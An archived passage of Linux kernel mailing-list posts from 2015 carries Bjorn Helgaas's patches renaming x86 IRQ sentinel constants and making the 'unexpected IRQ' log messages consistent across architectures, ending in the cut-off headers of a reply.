IRQ_UNDEFINED and IRQ_RETRIGGERED to indicate that they are in the IRQ
number space, not the CPU vector number space.

No functional change.

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 arch/x86/include/asm/hw_irq.h |    4 ++--
 arch/x86/kernel/apic/vector.c |   14 +++++++-------
 arch/x86/kernel/irq.c         |   12 ++++++------
 arch/x86/kernel/irqinit.c     |    4 ++--
 4 files changed, 17 insertions(+), 17 deletions(-)

diff --git a/arch/x86/include/asm/hw_irq.h b/arch/x86/include/asm/hw_irq.h
index 6615032..b51a1ca 100644
--- a/arch/x86/include/asm/hw_irq.h
+++ b/arch/x86/include/asm/hw_irq.h
@@ -182,8 +182,8 @@ extern char irq_entries_start[];
 #define trace_irq_entries_start irq_entries_start
 #endif
 
-#define VECTOR_UNDEFINED	(-1)
-#define VECTOR_RETRIGGERED	(-2)
+#define IRQ_UNDEFINED	(-1)
+#define IRQ_RETRIGGERED	(-2)
 
 typedef int vector_irq_t[NR_VECTORS];
 DECLARE_PER_CPU(vector_irq_t, vector_irq);
diff --git a/arch/x86/kernel/apic/vector.c b/arch/x86/kernel/apic/vector.c
index 28eba2d..8ae84b4 100644
--- a/arch/x86/kernel/apic/vector.c
+++ b/arch/x86/kernel/apic/vector.c
@@ -170,7 +170,7 @@ next:
 
 		for_each_cpu_and(new_cpu, vector_cpumask, cpu_online_mask) {
 			if (per_cpu(vector_irq, new_cpu)[vector] >
-			    VECTOR_UNDEFINED)
+			    IRQ_UNDEFINED)
 				goto next;
 		}
 		/* Found one! */
@@ -232,7 +232,7 @@ static void clear_irq_vector(int irq, struct apic_chip_data *data)
 
 	vector = data->cfg.vector;
 	for_each_cpu_and(cpu, data->domain, cpu_online_mask)
-		per_cpu(vector_irq, cpu)[vector] = VECTOR_UNDEFINED;
+		per_cpu(vector_irq, cpu)[vector] = IRQ_UNDEFINED;
 
 	data->cfg.vector = 0;
 	cpumask_clear(data->domain);
@@ -247,7 +247,7 @@ static void clear_irq_vector(int irq, struct apic_chip_data *data)
 		     vector++) {
 			if (per_cpu(vector_irq, cpu)[vector] != irq)
 				continue;
-			per_cpu(vector_irq, cpu)[vector] = VECTOR_UNDEFINED;
+			per_cpu(vector_irq, cpu)[vector] = IRQ_UNDEFINED;
 			break;
 		}
 	}
@@ -429,12 +429,12 @@ static void __setup_vector_irq(int cpu)
 	/* Mark the free vectors */
 	for (vector = 0; vector < NR_VECTORS; ++vector) {
 		irq = per_cpu(vector_irq, cpu)[vector];
-		if (irq <= VECTOR_UNDEFINED)
+		if (irq <= IRQ_UNDEFINED)
 			continue;
 
 		data = apic_chip_data(irq_get_irq_data(irq));
 		if (!cpumask_test_cpu(cpu, data->domain))
-			per_cpu(vector_irq, cpu)[vector] = VECTOR_UNDEFINED;
+			per_cpu(vector_irq, cpu)[vector] = IRQ_UNDEFINED;
 	}
 	raw_spin_unlock(&vector_lock);
 }
@@ -553,7 +553,7 @@ asmlinkage __visible void smp_irq_move_cleanup_interrupt(void)
 
 		irq = __this_cpu_read(vector_irq[vector]);
 
-		if (irq <= VECTOR_UNDEFINED)
+		if (irq <= IRQ_UNDEFINED)
 			continue;
 
 		desc = irq_to_desc(irq);
@@ -589,7 +589,7 @@ asmlinkage __visible void smp_irq_move_cleanup_interrupt(void)
 			apic->send_IPI_self(IRQ_MOVE_CLEANUP_VECTOR);
 			goto unlock;
 		}
-		__this_cpu_write(vector_irq[vector], VECTOR_UNDEFINED);
+		__this_cpu_write(vector_irq[vector], IRQ_UNDEFINED);
 unlock:
 		raw_spin_unlock(&desc->lock);
 	}
diff --git a/arch/x86/kernel/irq.c b/arch/x86/kernel/irq.c
index 88b36648..2949c6e 100644
--- a/arch/x86/kernel/irq.c
+++ b/arch/x86/kernel/irq.c
@@ -223,12 +223,12 @@ __visible unsigned int __irq_entry do_IRQ(struct pt_regs *regs)
 	if (!handle_irq(irq, regs)) {
 		ack_APIC_irq();
 
-		if (irq != VECTOR_RETRIGGERED) {
+		if (irq != IRQ_RETRIGGERED) {
 			pr_emerg_ratelimited("%s: %d.%d No irq handler for vector (irq %d)\n",
 					     __func__, smp_processor_id(),
 					     vector, irq);
 		} else {
-			__this_cpu_write(vector_irq[vector], VECTOR_UNDEFINED);
+			__this_cpu_write(vector_irq[vector], IRQ_UNDEFINED);
 		}
 	}
 
@@ -489,7 +489,7 @@ void fixup_irqs(void)
 	for (vector = FIRST_EXTERNAL_VECTOR; vector < NR_VECTORS; vector++) {
 		unsigned int irr;
 
-		if (__this_cpu_read(vector_irq[vector]) <= VECTOR_UNDEFINED)
+		if (__this_cpu_read(vector_irq[vector]) <= IRQ_UNDEFINED)
 			continue;
 
 		irr = apic_read(APIC_IRR + (vector / 32 * 0x10));
@@ -502,12 +502,12 @@ void fixup_irqs(void)
 			raw_spin_lock(&desc->lock);
 			if (chip->irq_retrigger) {
 				chip->irq_retrigger(data);
-				__this_cpu_write(vector_irq[vector], VECTOR_RETRIGGERED);
+				__this_cpu_write(vector_irq[vector], IRQ_RETRIGGERED);
 			}
 			raw_spin_unlock(&desc->lock);
 		}
-		if (__this_cpu_read(vector_irq[vector]) != VECTOR_RETRIGGERED)
-			__this_cpu_write(vector_irq[vector], VECTOR_UNDEFINED);
+		if (__this_cpu_read(vector_irq[vector]) != IRQ_RETRIGGERED)
+			__this_cpu_write(vector_irq[vector], IRQ_UNDEFINED);
 	}
 }
 #endif
diff --git a/arch/x86/kernel/irqinit.c b/arch/x86/kernel/irqinit.c
index a3a5e15..fc1822d 100644
--- a/arch/x86/kernel/irqinit.c
+++ b/arch/x86/kernel/irqinit.c
@@ -52,7 +52,7 @@ static struct irqaction irq2 = {
 };
 
 DEFINE_PER_CPU(vector_irq_t, vector_irq) = {
-	[0 ... NR_VECTORS - 1] = VECTOR_UNDEFINED,
+	[0 ... NR_VECTORS - 1] = IRQ_UNDEFINED,
 };
 
 int vector_used_by_percpu_irq(unsigned int vector)
@@ -60,7 +60,7 @@ int vector_used_by_percpu_irq(unsigned int vector)
 	int cpu;
 
 	for_each_online_cpu(cpu) {
-		if (per_cpu(vector_irq, cpu)[vector] > VECTOR_UNDEFINED)
+		if (per_cpu(vector_irq, cpu)[vector] > IRQ_UNDEFINED)
 			return 1;
 	}
 


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 2/3] x86, irq: Clarify "No irq handler" message
Date: Sun, 12 Jul 2015 17:02:02 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <20150712220202.7166.22099.stgit@bhelgaas-glaptop2.roam.corp.google.com>
References: <20150712215559.7166.33068.stgit@bhelgaas-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1436738550 7067 80.91.229.3 (12 Jul 2015 22:02:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 Jul 2015 22:02:30 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-ia64@vger.kernel.org,
	linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-alpha@vger.kernel.org, x86@kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 13 00:02:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZEPKD-00054Y-Ru
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Jul 2015 00:02:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752056AbbGLWCK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jul 2015 18:02:10 -0400
Original-Received: from mail-ie0-f169.google.com ([209.85.223.169]:35169 "EHLO
	mail-ie0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752035AbbGLWCG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jul 2015 18:02:06 -0400
Original-Received: by iecuq6 with SMTP id uq6so224253387iec.2
        for <linux-parisc@vger.kernel.org>; Sun, 12 Jul 2015 15:02:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=HUOzm81gXDUFMUCVjOKlh//uL1flnRxJxETARgOFxb0=;
        b=iQS6rQ90G5X7KEj2pvi1IiHXhLGdaAkJ+iOd29EirJ+64WQWxidiH+dSZpq67m53xz
         HadszXnFysIn+y6bxcc2pYMTzppEpSmT52yi2ie7xJrYP3BDEikw5UAKUxkCjqDscDLV
         KAXI5AweacDfsGEAIQRxB2+xj1RDbAUiP5VPRwFwEh+r71EBTzHH/2Yp6wMhWUQ21k0M
         EWU124+KC566v1lOJeaHGxtocXuo72/4AQ11aaL4UlfpatZBc9M1KM8FJu4+IXECRUFf
         3PdlvcViGR6toZXB0SJJpFXtn4tKWmr3adAVgpZMIPwcIbwXoTLCs+1s2cN0369KpdiS
         mPkg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:from:cc:date:message-id:in-reply-to
         :references:user-agent:mime-version:content-type
         :content-transfer-encoding;
        bh=HUOzm81gXDUFMUCVjOKlh//uL1flnRxJxETARgOFxb0=;
        b=YdUdYLLRrHzHDAfdu1n0pP12TCmlOK5P1kaDiS8IQu6uJAk4NMpGSXc5NBgEj5uGWl
         ryPNhvPfEUs1jdkB+1cGuT73qKza5dtrc1+C7EqAu21eCo2PeirsygGM10Y/3RIfw6BD
         b6DjMNhqtcbGLODw1TTH/x322yqmnsI9VfS/1H+v0gaRi3gY9z+GD4MScMrQx8AJnDLK
         P1U60aZLYLTbQHWZQ2FYrwvj9LonoHRDtJf01A2+JkQo9EzcfzidxncfVhwLmG2NYsom
         pV+U4kmVFqlDq8ox9jLc0il58qgQNjfpBXA1CFR/mzf7saKxGAhMb40Ksygb443Uvk4d
         s+cQ==
X-Gm-Message-State: ALoCoQkhAsX5AjKl4BMLOt/2CZzrPpBRKJWMjWW8uzPP8+rxI9+rNMna3rLAAr1QgHmsnZf3+Uft
X-Received: by 10.107.166.136 with SMTP id p130mr17625202ioe.163.1436738526001;
        Sun, 12 Jul 2015 15:02:06 -0700 (PDT)
Original-Received: from localhost ([69.71.1.1])
        by smtp.gmail.com with ESMTPSA id b140sm11286613ioe.9.2015.07.12.15.02.04
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Sun, 12 Jul 2015 15:02:04 -0700 (PDT)
In-Reply-To: <20150712215559.7166.33068.stgit@bhelgaas-glaptop2.roam.corp.google.com>
User-Agent: StGit/0.16
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25826 gmane.linux.kernel.cross-arch:28344 gmane.linux.ports.mips.general:49352 gmane.linux.ports.ia64:25575 gmane.linux.ports.sh.devel:47147 gmane.linux.kernel:1994368 gmane.linux.ports.alpha:3189 gmane.linux.ports.ppc64.devel:115131
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25826>

Previously we printed, e.g.,

  do_IRQ: 0.242 No irq handler for vector (irq -1)

There's no clue about what "0.242" means, and the IRQ number, which is the
important generic information used by drivers and /proc/interrupts, is
almost an afterthought.

Change the format to this:

  No handler for IRQ -1 (CPU 0 vector 0xf2)

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 arch/x86/kernel/irq.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/arch/x86/kernel/irq.c b/arch/x86/kernel/irq.c
index 2949c6e..3c6b069 100644
--- a/arch/x86/kernel/irq.c
+++ b/arch/x86/kernel/irq.c
@@ -224,9 +224,8 @@ __visible unsigned int __irq_entry do_IRQ(struct pt_regs *regs)
 		ack_APIC_irq();
 
 		if (irq != IRQ_RETRIGGERED) {
-			pr_emerg_ratelimited("%s: %d.%d No irq handler for vector (irq %d)\n",
-					     __func__, smp_processor_id(),
-					     vector, irq);
+			pr_emerg_ratelimited("No handler for IRQ %d (CPU %d vector %#x)\n",
+					     irq, smp_processor_id(), vector);
 		} else {
 			__this_cpu_write(vector_irq[vector], IRQ_UNDEFINED);
 		}

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 3/3] IRQ: Print "unexpected IRQ" messages consistently
 across architectures
Date: Sun, 12 Jul 2015 17:02:11 -0500
Lines: 215
Approved: news@gmane.org
Message-ID: <20150712220211.7166.42035.stgit@bhelgaas-glaptop2.roam.corp.google.com>
References: <20150712215559.7166.33068.stgit@bhelgaas-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1436738554 7095 80.91.229.3 (12 Jul 2015 22:02:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 Jul 2015 22:02:34 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-ia64@vger.kernel.org,
	linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-alpha@vger.kernel.org, x86@kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-sh-owner@vger.kernel.org Mon Jul 13 00:02:28 2015
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1ZEPKN-00059W-PN
	for glps-linuxsh-dev@plane.gmane.org; Mon, 13 Jul 2015 00:02:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752157AbbGLWCS (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Sun, 12 Jul 2015 18:02:18 -0400
Original-Received: from mail-ig0-f176.google.com ([209.85.213.176]:36070 "EHLO
	mail-ig0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752117AbbGLWCP (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Sun, 12 Jul 2015 18:02:15 -0400
Original-Received: by igbij6 with SMTP id ij6so9446644igb.1
        for <linux-sh@vger.kernel.org>; Sun, 12 Jul 2015 15:02:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=nGZCTj9EbnBQz+zXbkLp/Y4p1KDwQj260/ISbNdUSfc=;
        b=YVwtyMiL1/HxzC8djkAd5pF+qTOFNszvbLDt5n848uh7ZC6yihuREfYCudgl10zl3j
         geJHWlOiYZUGIcqAtRmLjwFcLQFI82JXCuQRsEDBeLTJVy4ZwbmIF+l5fRNx2mnX8vgM
         UxLbNJfsimsTPNVn1eTwQLPPIOWOFOBDilE4tTE/ZE/+pxVH9+czJ51z5m0gehtUfbr/
         OWMTcptWfQFnDI9d1QwP3wVN1h5Ed11rQd4HLs2PdsQIFrzH5SjvI8jD95jrpxLvFyK9
         uVqURSo3jnLSddcC2xOHw5AYLJFI3IyFRy0XU+y/ZcCtR7iYWV9MmH2TEj8IEQPtphel
         IXvA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:from:cc:date:message-id:in-reply-to
         :references:user-agent:mime-version:content-type
         :content-transfer-encoding;
        bh=nGZCTj9EbnBQz+zXbkLp/Y4p1KDwQj260/ISbNdUSfc=;
        b=fdLixIhP0tu34dGk4cJPbx+3W1ASYkPVfho7BiCAmE4r96jXdRxhiaU+KaHEcnoy9K
         BYCrl6gX9vj9NGQsOhTwR1kUwFD/PRb0NPVlWS/tTFfSFLVGtfire3WBeRoak283yNJ1
         U7oqYypfwW9KKpw6ViGvaMdTYMeDGxEA3mTZGVAha9eP9VaTa8UvjTrRzWD5GIGNEyLT
         vWgJWR1VmVpz4/xWsFU3Mzx7ftKp82gkGbxVYxGlf1Ii9Dk8HFidjJhrHIF9EOjFQWT7
         jt6TJrMI9ra/3YHTLS0VFXoaIOttm/PLz30ueBsNx89vgHXE9cuv7I/CPmbiqGhLFQcl
         e0wg==
X-Gm-Message-State: ALoCoQlY4uQ2WXpZJUo+VR871sVpkpMRuysCieAaiOurNdP/iBpc/obR2qOj4e0b6yWtcBxZ2C2S
X-Received: by 10.107.10.96 with SMTP id u93mr14318119ioi.172.1436738534297;
        Sun, 12 Jul 2015 15:02:14 -0700 (PDT)
Original-Received: from localhost ([69.71.1.1])
        by smtp.gmail.com with ESMTPSA id l62sm11258117iol.36.2015.07.12.15.02.12
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Sun, 12 Jul 2015 15:02:13 -0700 (PDT)
In-Reply-To: <20150712215559.7166.33068.stgit@bhelgaas-glaptop2.roam.corp.google.com>
User-Agent: StGit/0.16
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:47148 gmane.linux.kernel.cross-arch:28345 gmane.linux.ports.mips.general:49353 gmane.linux.ports.ia64:25576 gmane.linux.ports.parisc:25827 gmane.linux.kernel:1994369 gmane.linux.ports.alpha:3190 gmane.linux.ports.ppc64.devel:115132
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/47148>

Many architectures use a variant of "unexpected IRQ trap at vector %x" to
log unexpected IRQs.  This is confusing because (a) it prints the Linux IRQ
number, but "vector" more often refers to a CPU vector number, and (b) it
prints the IRQ number in hex with no base indication, while Linux IRQ
numbers are usually printed in decimal.

Print the same text ("unexpected IRQ %d") across all architectures.

No functional change other than the output text.

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 arch/alpha/kernel/irq.c            |    2 +-
 arch/blackfin/kernel/irqchip.c     |    2 +-
 arch/c6x/kernel/irq.c              |    2 +-
 arch/ia64/kernel/irq.c             |    2 +-
 arch/m68k/include/asm/hardirq.h    |    2 +-
 arch/mips/kernel/irq.c             |    2 +-
 arch/mn10300/kernel/irq.c          |    2 +-
 arch/parisc/include/asm/hardirq.h  |    2 +-
 arch/powerpc/include/asm/hardirq.h |    2 +-
 arch/s390/include/asm/hardirq.h    |    2 +-
 arch/sh/kernel/irq.c               |    2 +-
 arch/tile/kernel/irq.c             |    2 +-
 arch/x86/kernel/irq.c              |    2 +-
 include/asm-generic/hardirq.h      |    2 +-
 14 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/arch/alpha/kernel/irq.c b/arch/alpha/kernel/irq.c
index 51f2c86..9acdc14 100644
--- a/arch/alpha/kernel/irq.c
+++ b/arch/alpha/kernel/irq.c
@@ -34,7 +34,7 @@ DEFINE_PER_CPU(unsigned long, irq_pmi_count);
 void ack_bad_irq(unsigned int irq)
 {
 	irq_err_count++;
-	printk(KERN_CRIT "Unexpected IRQ trap at vector %u\n", irq);
+	printk(KERN_CRIT "Unexpected IRQ %d\n", irq);
 }
 
 #ifdef CONFIG_SMP 
diff --git a/arch/blackfin/kernel/irqchip.c b/arch/blackfin/kernel/irqchip.c
index 0ba2576..608741e 100644
--- a/arch/blackfin/kernel/irqchip.c
+++ b/arch/blackfin/kernel/irqchip.c
@@ -20,7 +20,7 @@ static atomic_t irq_err_count;
 void ack_bad_irq(unsigned int irq)
 {
 	atomic_inc(&irq_err_count);
-	printk(KERN_ERR "IRQ: spurious interrupt %d\n", irq);
+	printk(KERN_ERR "unexpected IRQ %d\n", irq);
 }
 
 static struct irq_desc bad_irq_desc = {
diff --git a/arch/c6x/kernel/irq.c b/arch/c6x/kernel/irq.c
index 247e0eb..cd7fb55 100644
--- a/arch/c6x/kernel/irq.c
+++ b/arch/c6x/kernel/irq.c
@@ -120,7 +120,7 @@ void __init init_IRQ(void)
 
 void ack_bad_irq(int irq)
 {
-	printk(KERN_ERR "IRQ: spurious interrupt %d\n", irq);
+	printk(KERN_ERR "unexpected IRQ %d\n", irq);
 	irq_err_count++;
 }
 
diff --git a/arch/ia64/kernel/irq.c b/arch/ia64/kernel/irq.c
index 812a1e6..b198c69 100644
--- a/arch/ia64/kernel/irq.c
+++ b/arch/ia64/kernel/irq.c
@@ -31,7 +31,7 @@
  */
 void ack_bad_irq(unsigned int irq)
 {
-	printk(KERN_ERR "Unexpected irq vector 0x%x on CPU %u!\n", irq, smp_processor_id());
+	printk(KERN_ERR "unexpected IRQ %d on CPU %u!\n", irq, smp_processor_id());
 }
 
 #ifdef CONFIG_IA64_GENERIC
diff --git a/arch/m68k/include/asm/hardirq.h b/arch/m68k/include/asm/hardirq.h
index 6c61852..5f0fe98 100644
--- a/arch/m68k/include/asm/hardirq.h
+++ b/arch/m68k/include/asm/hardirq.h
@@ -9,7 +9,7 @@
 
 static inline void ack_bad_irq(unsigned int irq)
 {
-	pr_crit("unexpected IRQ trap at vector %02x\n", irq);
+	pr_crit("unexpected IRQ %d\n", irq);
 }
 
 /* entry.S is sensitive to the offsets of these fields */
diff --git a/arch/mips/kernel/irq.c b/arch/mips/kernel/irq.c
index 8eb5af8..f6b9ce9 100644
--- a/arch/mips/kernel/irq.c
+++ b/arch/mips/kernel/irq.c
@@ -31,7 +31,7 @@
  */
 void ack_bad_irq(unsigned int irq)
 {
-	printk("unexpected IRQ # %d\n", irq);
+	printk("unexpected IRQ %d\n", irq);
 }
 
 atomic_t irq_err_count;
diff --git a/arch/mn10300/kernel/irq.c b/arch/mn10300/kernel/irq.c
index 480de70..c7b780d 100644
--- a/arch/mn10300/kernel/irq.c
+++ b/arch/mn10300/kernel/irq.c
@@ -197,7 +197,7 @@ static struct irq_chip mn10300_cpu_pic_edge = {
  */
 void ack_bad_irq(int irq)
 {
-	printk(KERN_WARNING "unexpected IRQ trap at vector %02x\n", irq);
+	printk(KERN_WARNING "unexpected IRQ %d\n", irq);
 }
 
 /*
diff --git a/arch/parisc/include/asm/hardirq.h b/arch/parisc/include/asm/hardirq.h
index 9b3bd03..c093c4f 100644
--- a/arch/parisc/include/asm/hardirq.h
+++ b/arch/parisc/include/asm/hardirq.h
@@ -41,6 +41,6 @@ DECLARE_PER_CPU_SHARED_ALIGNED(irq_cpustat_t, irq_stat);
 		this_cpu_write(irq_stat.__softirq_pending, (x))
 #define or_softirq_pending(x)	this_cpu_or(irq_stat.__softirq_pending, (x))
 
-#define ack_bad_irq(irq) WARN(1, "unexpected IRQ trap at vector %02x\n", irq)
+#define ack_bad_irq(irq) WARN(1, "unexpected IRQ %d\n", irq)
 
 #endif /* _PARISC_HARDIRQ_H */
diff --git a/arch/powerpc/include/asm/hardirq.h b/arch/powerpc/include/asm/hardirq.h
index 8add8b8..aa8ebbb 100644
--- a/arch/powerpc/include/asm/hardirq.h
+++ b/arch/powerpc/include/asm/hardirq.h
@@ -30,7 +30,7 @@ DECLARE_PER_CPU_SHARED_ALIGNED(irq_cpustat_t, irq_stat);
 
 static inline void ack_bad_irq(unsigned int irq)
 {
-	printk(KERN_CRIT "unexpected IRQ trap at vector %02x\n", irq);
+	printk(KERN_CRIT "unexpected IRQ %d\n", irq);
 }
 
 extern u64 arch_irq_stat_cpu(unsigned int cpu);
diff --git a/arch/s390/include/asm/hardirq.h b/arch/s390/include/asm/hardirq.h
index b7eabaa..08eeacd 100644
--- a/arch/s390/include/asm/hardirq.h
+++ b/arch/s390/include/asm/hardirq.h
@@ -20,7 +20,7 @@
 
 static inline void ack_bad_irq(unsigned int irq)
 {
-	printk(KERN_CRIT "unexpected IRQ trap at vector %02x\n", irq);
+	printk(KERN_CRIT "unexpected IRQ %d\n", irq);
 }
 
 #endif /* __ASM_HARDIRQ_H */
diff --git a/arch/sh/kernel/irq.c b/arch/sh/kernel/irq.c
index eb10ff8..093e434 100644
--- a/arch/sh/kernel/irq.c
+++ b/arch/sh/kernel/irq.c
@@ -30,7 +30,7 @@ atomic_t irq_err_count;
 void ack_bad_irq(unsigned int irq)
 {
 	atomic_inc(&irq_err_count);
-	printk("unexpected IRQ trap at vector %02x\n", irq);
+	printk("unexpected IRQ %d\n", irq);
 }
 
 #if defined(CONFIG_PROC_FS)
diff --git a/arch/tile/kernel/irq.c b/arch/tile/kernel/irq.c
index 22044fc..c8e4f88 100644
--- a/arch/tile/kernel/irq.c
+++ b/arch/tile/kernel/irq.c
@@ -250,7 +250,7 @@ EXPORT_SYMBOL(tile_irq_activate);
 
 void ack_bad_irq(unsigned int irq)
 {
-	pr_err("unexpected IRQ trap at vector %02x\n", irq);
+	pr_err("unexpected IRQ %d\n", irq);
 }
 
 /*
diff --git a/arch/x86/kernel/irq.c b/arch/x86/kernel/irq.c
index 3c6b069..a0d46d2 100644
--- a/arch/x86/kernel/irq.c
+++ b/arch/x86/kernel/irq.c
@@ -40,7 +40,7 @@ void (*x86_platform_ipi_callback)(void) = NULL;
 void ack_bad_irq(unsigned int irq)
 {
 	if (printk_ratelimit())
-		pr_err("unexpected IRQ trap at vector %02x\n", irq);
+		pr_err("unexpected IRQ %d\n", irq);
 
 	/*
 	 * Currently unexpected vectors happen only on SMP and APIC.
diff --git a/include/asm-generic/hardirq.h b/include/asm-generic/hardirq.h
index 04d0a97..516ff5f 100644
--- a/include/asm-generic/hardirq.h
+++ b/include/asm-generic/hardirq.h
@@ -14,7 +14,7 @@ typedef struct {
 #ifndef ack_bad_irq
 static inline void ack_bad_irq(unsigned int irq)
 {
-	printk(KERN_CRIT "unexpected IRQ trap at vector %02x\n", irq);
+	printk(KERN_CRIT "unexpected IRQ %d\n", irq);
 }
 #endif
 

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [3/3] IRQ: Print "unexpected IRQ" messages consistently across architectures
Date: Mon, 13 Jul 2015 13:23:03 +1000 (AEST)
Lines: 35
Approved: news@gmane.org
Message-ID: <20150713032303.D49801402B1@ozlabs.org>
References: <20150712220211.7166.42035.stgit@bhelgaas-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1436757790 9471 80.91.229.3 (13 Jul 2015 03:23:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2015 03:23:10 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-ia64@vger.kernel.org,
	linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-alpha@vger.kernel.org, x86@kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: Bjorn Helgaas <bhelgaas@google.com>,
